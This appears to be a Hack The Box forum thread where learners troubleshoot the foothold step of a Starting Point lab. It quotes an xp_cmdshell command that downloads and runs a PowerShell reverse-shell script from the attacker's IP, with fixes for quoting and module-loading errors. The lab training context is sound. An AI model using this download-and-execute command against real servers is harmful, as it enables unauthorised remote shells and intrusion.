Starting Point Foothold Powershell problem

Did a search and while I found lots of posts about this box, no answers concerning this issue.

I’m at the end of the “Foothold” section where in the SQL prompt you enter:

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.134/shell.ps1\“);”

The error I am getting is as follows:


New-Object : The ‘New-Object’ command was found in the module ‘Microsoft.PowerShell.Utility’, but the module could not

be loaded. For more information, run ‘Import-Module Microsoft.PowerShell.Utility’.

At line:1 char:6

  • IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.134/sh

  •  ~~~~~~~~~~                                                                  
    
    • CategoryInfo : ObjectNotFound: (New-Object:String) , CommandNotFoundException

    • FullyQualifiedErrorId : CouldNotAutoloadMatchingModule

NULL


I have started my python web server and verified it is up and the shell.ps1 available by going to it in my browser, I have started NC and it is in a listening state, and I have both installed ufw and written the rule to allow incoming connections on 80 and 442 and verified via sudo ufw status verbose.

I have also of course edited shell.ps1 to have my actual IP and the correct port (443) for the tunnel in there as well as the ip in the command.

My understanding from the error is that it has to do with powershell on the SQL server… how would I go about remedying this, or am I misunderstanding the error?

Thanks

Solved. For future people: Add another double quote to the end of the command.

This will throw a new error:


New-Object : Exception calling “.ctor” with “2” argument(s): "No connection could be made because the target machine

actively refused it 10.10.14.134:443"


If you look at your python server you will see the GET request and if you look at your nc window you will see the connection. Hit enter and you will have your shell.

Hello
I’m having the same error:
No connection could be made because the target machine actively refused it.

I did everything the ufw rule is added, my http server is up and the nc aswell i can see the connection on both but still stuck on this error i tried on 2 different VM one with kali another with parrot please help

The answer to the problem is in the error message from the SQL server…

New-Object : The ‘New-Object’ command was found in the module ‘Microsoft.PowerShell.Utility’, but the module could not

be loaded. For more information, run ‘Import-Module Microsoft.PowerShell.Utility’.

I added the import-module command at the beginning of my shell script and it worked like a charm